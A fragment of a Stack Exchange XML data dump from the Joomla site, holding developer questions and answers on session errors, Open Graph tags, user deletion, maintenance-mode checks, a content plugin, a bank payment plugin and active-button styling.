Tags="|custom-component|ajax|model|filter|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31897" PostTypeId="1" CreationDate="2022-02-01T07:06:18.147" Score="0" ViewCount="5976" Body="&lt;p&gt;I have hosted web application develop using joomla in ubuntu 20 and use mysql as database.&#xA;one i hosted and viewed in the web browser it show me &lt;strong&gt;Error: Failed to start application: Failed to start the session&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;i have used php 7.4, mysql Ver 8.0.27, apache Apache/2.4.41 (Ubuntu)&lt;/p&gt;&#xA;" OwnerUserId="16017" LastActivityDate="2022-03-06T19:49:33.157" Title="Error: Failed to start application: Failed to start the session" Tags="|joomla-3.x|mysql|joomla-framework-1.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31899" PostTypeId="1" CreationDate="2022-02-01T13:37:59.380" Score="1" ViewCount="157" Body="&lt;p&gt;I've been a PHP developer for long time, but I am new to Joomla.&#xA;On a Joomla 2.5 project, I need to make open graph meta tags. As a part of open graph meta tags, I need to find first image of article. I tried many, many ways suggested in forums and articles, but none of them worked.&lt;/p&gt;&#xA;&lt;p&gt;This is a sample of what I tested in template file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$article = &amp;amp; JTable::getInstance(&amp;quot;content&amp;quot;);&#xA;$article-&amp;gt;load(JRequest::getInt(&amp;quot;id&amp;quot;)); &#xA;$url = JURI::current();&#xA;$title = $article-&amp;gt;get(&amp;quot;title&amp;quot;); &#xA;if (strpos(&amp;quot;.html&amp;quot;, $url) != 0) {&#xA;    $type = &amp;quot;website&amp;quot;;&#xA;} else {&#xA;    $type = &amp;quot;aricle&amp;quot;;&#xA;} //opengraph&#xA;&#xA;$article_images = $article-&amp;gt;get(&amp;quot;images&amp;quot;);  &#xA;$pictures =&amp;gt; json_decode($article_images);&#xA;&#xA;$timage= $pictures-&amp;gt;{'image_intro'};&#xA;?&amp;gt;&#xA;&amp;lt;meta property=&amp;quot;og:title&amp;quot; content=&amp;quot;&amp;lt;?php echo $title ?&amp;gt;&amp;quot; /&amp;gt;&#xA;&amp;lt;meta property=&amp;quot;og:type&amp;quot; content=&amp;quot;&amp;lt;?php echo $type ?&amp;gt;&amp;quot; /&amp;gt;   &#xA;&amp;lt;meta property=&amp;quot;og:url&amp;quot; content=&amp;quot;&amp;lt;?php echo $url ?&amp;gt;&amp;quot; /&amp;gt;     &#xA;&amp;lt;meta property=&amp;quot;og:site_name&amp;quot; content=&amp;quot;beytoote&amp;quot; /&amp;gt;     &#xA;&amp;lt;meta property=&amp;quot;og:image&amp;quot; content=&amp;quot;&amp;lt;?php echo $timage ?&amp;gt;&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but it did not worked.&lt;/p&gt;&#xA;&lt;p&gt;And this is a sample of what I tested inside a block:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php //opengraph $doc = JFactory::getDocument();&#xA;if (preg_match('/&amp;lt;\s*img[^&amp;gt;]+&amp;gt;/Ui', $this-&amp;gt;item-&amp;gt;text, $matches)) {&#xA;    $image=$matches[1] &#xA;} &#xA;$doc-&amp;gt;addCustomTag( '&amp;lt;meta property=&amp;quot;og:image&amp;quot; content=&amp;quot;' . $image . '&amp;quot;&amp;gt;' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8602" LastEditorUserId="12352" LastEditDate="2022-02-01T23:53:14.987" LastActivityDate="2022-02-01T23:53:14.987" Title="getting first image of article for open graph" Tags="|joomla-2.5|articles|joomla-api|images|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31900" PostTypeId="2" ParentId="31897" CreationDate="2022-02-01T16:23:36.867" Score="2" Body="&lt;p&gt;Joomla works with sessions. It needs to be able to write session info to the #__session table in the database. Your error message indicates that Joomla cannot write to the database, hence it cannot start its session.&lt;/p&gt;&#xA;&lt;p&gt;Could you double check your MySQL credentials with the credentials in your configuration.php?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; public $dbtype = 'mysqli';&#xA; public $host = 'localhost';&#xA; public $user = 'some-user';&#xA; public $password = 'some-secret-password';&#xA; public $db = 'the-name-of-your-database';&#xA; public $dbprefix = 'the-table-prefix_';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-02-01T16:23:36.867" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31901" PostTypeId="1" AcceptedAnswerId="31904" CreationDate="2022-02-01T17:06:38.943" Score="3" ViewCount="161" Body="&lt;p&gt;We've got a few dozens registered users on our website. They all have the right to publish, and edit articles in selected categories. Some of those users no longer need their access. So I can either block, or delete those ids. I'd prefer to delete them.&lt;/p&gt;&#xA;&lt;p&gt;Question is about any drawback, or possible problem deleting a user might cause. Especially if that user is the author, or editor of published articles.&lt;/p&gt;&#xA;&lt;p&gt;A quick test showed that Joomla! still displays such an article, but without showing the author. So it seems to be prepared for this case. But is there anything I didn't consider?&lt;/p&gt;&#xA;&lt;p&gt;This is a Joomla! 4 site, if that matters at all.&lt;/p&gt;&#xA;" OwnerUserId="15238" LastEditorUserId="12352" LastEditDate="2022-02-01T23:47:30.820" LastActivityDate="2022-02-02T09:54:05.733" Title="Deleting user account when user has published articles" Tags="|user|acl|joomla-4|administration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31902" PostTypeId="1" AcceptedAnswerId="31903" CreationDate="2022-02-01T17:23:03.157" Score="2" ViewCount="94" Body="&lt;p&gt;I need to determine if the site is in maintenance mode.&lt;/p&gt;&#xA;&lt;p&gt;Pseudo code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (*site is in maintenance mode*) {&#xA;    // do this&#xA;} else {&#xA;    // do this other thing&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7936" LastEditorUserId="12352" LastEditDate="2022-02-01T23:43:27.160" LastActivityDate="2022-02-01T23:43:27.160" Title="How to check if site is in maintenance mode in Joomla 4?" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31903" PostTypeId="2" ParentId="31902" CreationDate="2022-02-01T18:00:30.050" Score="2" Body="&lt;p&gt;You can check the application object, specifically the &lt;code&gt;offline&lt;/code&gt; property. Depending on whether or not your site is offline, it will return &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;if (Factory::getApplication()-&amp;gt;get('offline'))&#xA;{&#xA;    // do this&#xA;}&#xA;else&#xA;{&#xA;    // do this other thing&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2022-02-01T18:00:30.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31904" PostTypeId="2" ParentId="31901" CreationDate="2022-02-02T09:54:05.733" Score="2" Body="&lt;p&gt;All the records in the Joomla database that have &lt;code&gt;created_by&lt;/code&gt; or &lt;code&gt;modified_by&lt;/code&gt; fields will have the same issue when you delete users in Joomla's User Manager.&lt;/p&gt;&#xA;&lt;p&gt;I don't think that removing users will break your Joomla 4 site. However, you might want to test:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla's Contacts (&lt;strong&gt;com_contact&lt;/strong&gt;) if there are any contact pages for those users and if they still work.&lt;/li&gt;&#xA;&lt;li&gt;Joomla 4's new &lt;strong&gt;Workflow functionality&lt;/strong&gt;. If you are using it, you'd better test if everything still works after removing a user.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Any 3rd party extension&lt;/strong&gt; that uses Joomla's &lt;code&gt;userid&lt;/code&gt; in their tables.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To get rid of the annoying &amp;quot;missing user&amp;quot; message in the back-end in Joomla's article manager, you could run some SQL queries to change the &lt;code&gt;created_by&lt;/code&gt;/&lt;code&gt;modified_by&lt;/code&gt; to another &lt;code&gt;userid&lt;/code&gt;. Some SQL queries (backup your database first!) are available here: &lt;a href=&quot;https://talikka.com/?view=category&amp;amp;id=8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://talikka.com/?view=category&amp;amp;id=8&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Furthermore you could use a commercial extension &lt;strong&gt;RO Users&lt;/strong&gt; to fix those missing users in Joomla and some 3rd party extensions: &lt;a href=&quot;https://extensions.joomla.org/extension/ro-users/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/ro-users/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-02-02T09:54:05.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31905" PostTypeId="1" AcceptedAnswerId="31906" CreationDate="2022-02-02T16:52:45.370" Score="1" ViewCount="146" Body="&lt;p&gt;I just want to display simple text and this is not working.&lt;/p&gt;&#xA;&lt;p&gt;I don't know is there a way to see something like &lt;code&gt;log&lt;/code&gt; to see what happens in the background?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; public function onContentPrepare($context, &amp;amp;$row, &amp;amp;$params, $page = 0)&#xA;    {&#xA;        $row-&amp;gt;text = str_replace(&amp;quot;LOREM&amp;quot;, &amp;quot;some thing&amp;quot;, $row-&amp;gt;text);&#xA;        echo &amp;quot;print some thing&amp;quot;;&#xA;        return &amp;quot;print some thing&amp;quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I try in three way to display some thing.&lt;/p&gt;&#xA;" OwnerUserId="16065" LastActivityDate="2022-02-02T19:36:18.983" Title="cant display simple text onContentPrepare" Tags="|php|joomla-api|joomla-4.x|plugin-events|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31906" PostTypeId="2" ParentId="31905" CreationDate="2022-02-02T19:36:18.983" Score="0" Body="&lt;p&gt;I don't know why &lt;code&gt;CMSPlugin&lt;/code&gt; does not work for this problem.&#xA;the first step is to delete &lt;code&gt;namespace&lt;/code&gt; on the &lt;code&gt;.xml&lt;/code&gt; file and then use &lt;code&gt;JPlugin&lt;/code&gt; instead of  &lt;code&gt;CMSPlugin&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgContentFirstplugin extends JPlugin&#xA;{&#xA;    public function onContentPrepare($context, &amp;amp;$row, &amp;amp;$params, $page = 0)&#xA;    {&#xA;        $row-&amp;gt;text = str_replace(&amp;quot;LOREM&amp;quot;, &amp;quot;normal Lorem&amp;quot;, $row-&amp;gt;text);&#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16065" LastActivityDate="2022-02-02T19:36:18.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31907" PostTypeId="1" CreationDate="2022-02-02T21:23:54.557" Score="0" ViewCount="23" Body="&lt;p&gt;I am trying to build a payment plugin for Joomdonation Documents Seller.  I can send an order to a Bank and pay, but after that I am having a problem.&lt;/p&gt;&#xA;&lt;p&gt;When an order is created and sent, it has status: &lt;code&gt;in_progress&lt;/code&gt;, after the payment status changes to &lt;code&gt;success&lt;/code&gt;, I try to change the record in database with &lt;code&gt;if ($status == success)&lt;/code&gt; but this fails.&lt;/p&gt;&#xA;&lt;p&gt;Here are both files:&lt;/p&gt;&#xA;&lt;p&gt;Start payment&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;session_start();&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class os_bog extends DSFPayment&#xA;{&#xA;    public function __construct($params, $config = [])&#xA;    {&#xA;        parent::__construct($params, $config);&#xA;    }&#xA;&#xA;    public function processPayment($row, $data)&#xA;    {&#xA;        $curl = curl_init();&#xA;        curl_setopt_array($curl, array(&#xA;            CURLOPT_URL =&amp;gt; 'https://ipay.ge/opay/api/v1/oauth2/token',&#xA;            CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;            CURLOPT_ENCODING =&amp;gt; '',&#xA;            CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;            CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;            CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;            CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;            CURLOPT_CUSTOMREQUEST =&amp;gt; 'POST',&#xA;            CURLOPT_POSTFIELDS =&amp;gt; 'grant_type=client_credentials',&#xA;            CURLOPT_HTTPHEADER =&amp;gt;array('Content-Type: application/x-www-form-urlencoded','Authorization: Basic '. base64_encode($client_id.':'.$secret_key)),&#xA;        ));&#xA;    &#xA;        $response = curl_exec($curl);&#xA;        curl_close($curl);&#xA;        $response = json_decode($response, true);&#xA;        $token = $response ['access_token'];&#xA;        &#xA;        $curl = curl_init();&#xA;        curl_setopt_array($curl, array(&#xA;            CURLOPT_URL =&amp;gt; 'https://ipay.ge/opay/api/v1/checkout/orders',&#xA;            CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;            CURLOPT_ENCODING =&amp;gt; '',&#xA;            CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;            CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;            CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;            CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;            CURLOPT_CUSTOMREQUEST =&amp;gt; 'POST',&#xA;            CURLOPT_POSTFIELDS =&amp;gt;'{&#xA;                &amp;quot;intent&amp;quot;: &amp;quot;CAPTURE&amp;quot;,&#xA;                &amp;quot;items&amp;quot;: [&#xA;                    {&#xA;                      &amp;quot;amount&amp;quot;: &amp;quot;'. $data['amount'].'&amp;quot; ,&#xA;                      &amp;quot;description&amp;quot;:  &amp;quot;'.$data['item_name'].'&amp;quot;,        &#xA;                      &amp;quot;product_id&amp;quot;: &amp;quot;'.$data['item_name'].'&amp;quot;&#xA;                    }&#xA;                ],&#xA;                &amp;quot;locale&amp;quot;: &amp;quot;ka&amp;quot;,&#xA;                &amp;quot;redirect_url&amp;quot;: &amp;quot;https://editor.ge/&amp;quot;,&#xA;                &amp;quot;shop_order_id&amp;quot;: &amp;quot;'. $data['order_number'].'&amp;quot;,&#xA;                &amp;quot;show_shop_order_id_on_extract&amp;quot;: false ,&#xA;                &amp;quot;capture_method&amp;quot;: &amp;quot;AUTOMATIC&amp;quot;,&#xA;                &amp;quot;purchase_units&amp;quot;: [&#xA;                    {&#xA;                        &amp;quot;amount&amp;quot;: {&#xA;                            &amp;quot;currency_code&amp;quot;: &amp;quot;GEL&amp;quot;,&#xA;                            &amp;quot;value&amp;quot;: &amp;quot;'. $data['amount'].'&amp;quot;  &#xA;                        }&#xA;                    }&#xA;                ]&#xA;            }',&#xA;            CURLOPT_HTTPHEADER =&amp;gt; array(&#xA;                'Content-Type:  application/json',&#xA;                'Authorization: Bearer' . $token&#xA;            ),&#xA;        ));&#xA;        $response = curl_exec($curl);&#xA;        curl_close($curl);&#xA;        $response = json_decode($response, true);&#xA;    &#xA;        $payment_hash = $response ['payment_hash'];&#xA;        $order_id = $response ['order_id'];&#xA;    &#xA;        if (isset($response['order_id'])) {&#xA;            $payment_hash = $response['payment_hash'];&#xA;            $order_id = $response['order_id'];&#xA;            $redirect_url = $response['links'][1]['href'];&#xA;           header(&amp;quot;Location:&amp;quot; . $redirect_url);&#xA;        }   &#xA;        $_SESSION['order_data'] = array(&#xA;            'order_id' =&amp;gt; $response ['order_id'],&#xA;            'payment_hash' =&amp;gt; $response ['payment_hash'],&#xA;        );      &#xA;        return $response;&#xA;    }&#xA;&#xA;    public function verifyPayment()&#xA;    {&#xA;        if ($this-&amp;gt;validate())&#xA;        {&#xA;            &#xA;        }&#xA;    }&#xA;&#xA;    protected function validate()&#xA;    {&#xA;        $this-&amp;gt;notificationData = $_REQUEST;&#xA;        return true;&#xA;    }   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Check status of payment&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;session_start();&#xA;    &#xA;$curl = curl_init();&#xA;curl_setopt_array($curl, array(&#xA;    CURLOPT_URL =&amp;gt; 'https://ipay.ge/opay/api/v1/oauth2/token',&#xA;    CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;    CURLOPT_ENCODING =&amp;gt; '',&#xA;    CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;    CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;    CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;    CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;    CURLOPT_CUSTOMREQUEST =&amp;gt; 'POST',&#xA;    CURLOPT_POSTFIELDS =&amp;gt; 'grant_type=client_credentials',&#xA;    CURLOPT_HTTPHEADER =&amp;gt;array('Content-Type: application/x-www-form-urlencoded','Authorization: Basic '. base64_encode($client_id.':'.$secret_key)),&#xA;));&#xA;$response = curl_exec($curl);&#xA;&#xA;curl_close($curl);&#xA;$response = json_decode($response, true);&#xA;$token = $response ['access_token'];&#xA;$order_data = ($_SESSION['order_data']);&#xA;$order_id = $order_data['order_id'];&#xA;$payment_hash = $order_data['payment_hash'];&#xA;$curl = curl_init();&#xA;curl_setopt_array($curl, array(&#xA;    CURLOPT_URL =&amp;gt; 'https://ipay.ge/opay/api/v1/checkout/payment/'.$order_id,&#xA;    CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;    CURLOPT_ENCODING =&amp;gt; '',&#xA;    CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;    CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;    CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;    CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;    CURLOPT_CUSTOMREQUEST =&amp;gt; 'GET',&#xA;    CURLOPT_HTTPHEADER =&amp;gt; array(&#xA;    'Content-Type:  application/json',&#xA;    'Authorization: Bearer' . $token  ),&#xA;));&#xA;&#xA;$response = curl_exec($curl);&#xA;curl_close($curl);&#xA;$response = json_decode($response, true);&#xA;$status = $response ['status'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;p.s. I can not check payment inside the plugin(first code), callback url is predefined by the Bank and I was not able to put code inside &lt;code&gt;public function verifyPayment()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Could someone help?&lt;/p&gt;&#xA;" OwnerUserId="16081" LastEditorUserId="12352" LastEditDate="2022-02-02T21:57:23.907" LastActivityDate="2022-02-02T21:57:23.907" Title="Payment plugin for Documents Seller" Tags="|joomla-3.x|php|curl|payment-gateway|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31908" PostTypeId="2" ParentId="28408" CreationDate="2022-02-02T22:46:10.817" Score="1" Body="&lt;p&gt;In &amp;quot;taggedblog_items.php&amp;quot;, there is some code that needs to be removed or commented out in order to get rid of the duplicate image (and duplicate intro text).  But how you do this will depend on whether you want to keep toggle control available in the admin or just hardcode it to do want you want.&lt;/p&gt;&#xA;&lt;p&gt;Keep the toggles...&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Remove lines 51-65&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Hardcode it...&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Remove lines 45-50&lt;/li&gt;&#xA;&lt;li&gt;Remove lines 66-72&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16082" LastActivityDate="2022-02-02T22:46:10.817" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31909" PostTypeId="1" CreationDate="2022-02-03T10:54:41.907" Score="2" ViewCount="80" Body="&lt;p&gt;First of all, I apologize for my bad English.&lt;/p&gt;&#xA;&lt;p&gt;In one of my Joomla pages I have created a kind of menu with buttons that lead, each one of them, to an internal search page.&lt;/p&gt;&#xA;&lt;p&gt;I'd like to get each of those buttons to change its color the moment it's on its respective url or page. I don't know if I am explaining myself correctly.&lt;/p&gt;&#xA;&lt;p&gt;Theese are the html and css I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.d-flex.my-4 {&#xA;    width: 100%;&#xA;    display: flex}&#xA;.tile-button {&#xA;    box-shadow: 0 0 0 1px #d5d4d0;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    text-align: center;&#xA;    width: 15%;&#xA;    height: 120px;&#xA;    margin-bottom: 15px;&#xA;    cursor: pointer;&#xA;    border-radius: 10px;&#xA;    background: #fff;&#xA;    align-items: center;&#xA;    margin-left: 15px;&#xA;    font-size: 15px;&#xA;    font-family: 'NGBold'}&#xA;&#xA;.tile-button .tile-text a {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    width: 145px;&#xA;    height: 120px;&#xA;    justify-content: center}&#xA;.tile-button .icon {&#xA;    margin: 15px 0 20px;&#xA;    font-size: 32px;&#xA;    color: #989794}&#xA;.tile-button:hover, .tile-button:focus, .tile-button.disabled {&#xA;    background: #677af60d;&#xA;    box-shadow: 0 0 0 2px #677af6}&#xA;.tile-button:hover .icon, .tile-button:hover .tile-name, .tile-button:focus .icon, .tile-button:focus .tile-name, .tile-button.disabled .icon, .tile-button.disabled .tile-name {&#xA;    color: #677af6}&#xA;&#xA;&#xA;&amp;lt;div class=&amp;quot;tile-button&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;tile-text&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;castings&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;fal fa-eye icon&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;span class=&amp;quot;tile-name&amp;quot;&amp;gt;Todo&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;tile-button&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;tile-text&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;castings/buscar-por/tipo-de-produccion?value=Teatro&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;fal fa-theater-masks icon&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;span class=&amp;quot;tile-name&amp;quot;&amp;gt;Teatro&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;tile-button&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;tile-text&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;castings/buscar-por/tipo-de-produccion?value=Largometraje&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;fal fa-camera-movie icon&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;span class=&amp;quot;tile-name&amp;quot;&amp;gt;Cine&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;tile-button&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;tile-text&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;castings/buscar-por/tipo-de-produccion?value=Serie%20de%20Televisión&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;fal fa-tv-retro icon&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;span class=&amp;quot;tile-name&amp;quot;&amp;gt;Televisión&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;tile-button&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;tile-text&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;castings/buscar-por/tipo-de-produccion?value=Locución&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;fal fa-microphone-alt icon&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;span class=&amp;quot;tile-name&amp;quot;&amp;gt;Locución y Doblaje&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;tile-button&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;tile-text&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;castings/buscar-por/tipo-de-produccion?value=Spot%20de%20Televisión&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;fal fa-gem icon&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;span class=&amp;quot;tile-name&amp;quot;&amp;gt;Publicidad&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&lt;p&gt;I would like that when the visitor clicks on any of the buttons and visits the page of the (internal) link, the active button stays in the color of their choice.&lt;/p&gt;&#xA;&lt;p&gt;I guess I need to do it with js, but I don't know the language.&lt;/p&gt;&#xA;&lt;p&gt;This bellow is a screenshot of how the page and buttons are displayed. When the user clicks on one of these buttons, he is directed to the corresponding page. And all the buttons remain the same.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C8yp6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C8yp6.jpg&quot; alt=&quot;This is how it is now&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I'm looking for is that when the page corresponding to the button (for example, &amp;quot;theater&amp;quot;) is opened, that specific button changes color, but only the button associated with the page, so that the user understands that it is there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r0tSE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r0tSE.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The specific page, to be able to see the buttons in operation, is this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://clandestinodeactores.com/castings&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://clandestinodeactores.com/castings&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thank you very much in advance for any help.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I'm trying to do this to include a class to each button depending to the url.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$(function () {&#xA;    var url = window.location.pathname; &#xA;    var activePage = url.substring(url.lastIndexOf('/') + 1);&#xA;        activePage === '' ?  $('#allcasting').addClass(&amp;quot;selected&amp;quot;) : $('#allcasting').removeClass(&amp;quot;selected&amp;quot;) ;&#xA;        activePage === 'castings/buscar-por/tipo-de-produccion?value=Teatro' ? $('#allteatro').addClass(&amp;quot;selected&amp;quot;) : $('#allteatro').removeClass(&amp;quot;selected&amp;quot;) ;&#xA;        activePage === 'castings/buscar-por/tipo-de-produccion?value=Largometraje' ? $('#allcine').addClass(&amp;quot;selected&amp;quot;) : &#xA;        $('#allcine').removeClass(&amp;quot;selected&amp;quot;) ; &#xA;    activePage === 'castings/buscar-por/tipo-de-produccion?value=Serie%20de%20Televisión' ? $('#alltele').addClass(&amp;quot;selected&amp;quot;) : $('#alltele').removeClass(&amp;quot;selected&amp;quot;) ;&#xA;    activePage === 'castings/buscar-por/tipo-de-produccion?value=Locución' ? $('#alldoblaje').addClass(&amp;quot;selected&amp;quot;) : $('#alldoblaje').removeClass(&amp;quot;selected&amp;quot;) ;&#xA;    activePage === 'castings/buscar-por/tipo-de-produccion?value=Spot%20de%20Televisión' ? $('#allspots').addClass(&amp;quot;selected&amp;quot;) : $('#allspots').removeClass(&amp;quot;selected&amp;quot;) ;&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But it doesn't work how I'd expected.&lt;/p&gt;&#xA;" OwnerUserId="16084" LastEditorUserId="12352" LastEditDate="2022-02-05T13:33:25.227" LastActivityDate="2022-02-05T13:33:25.227" Title="How can I change color of a button with internal link based on the URL in Joomla?" Tags="|joomla-3.6|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
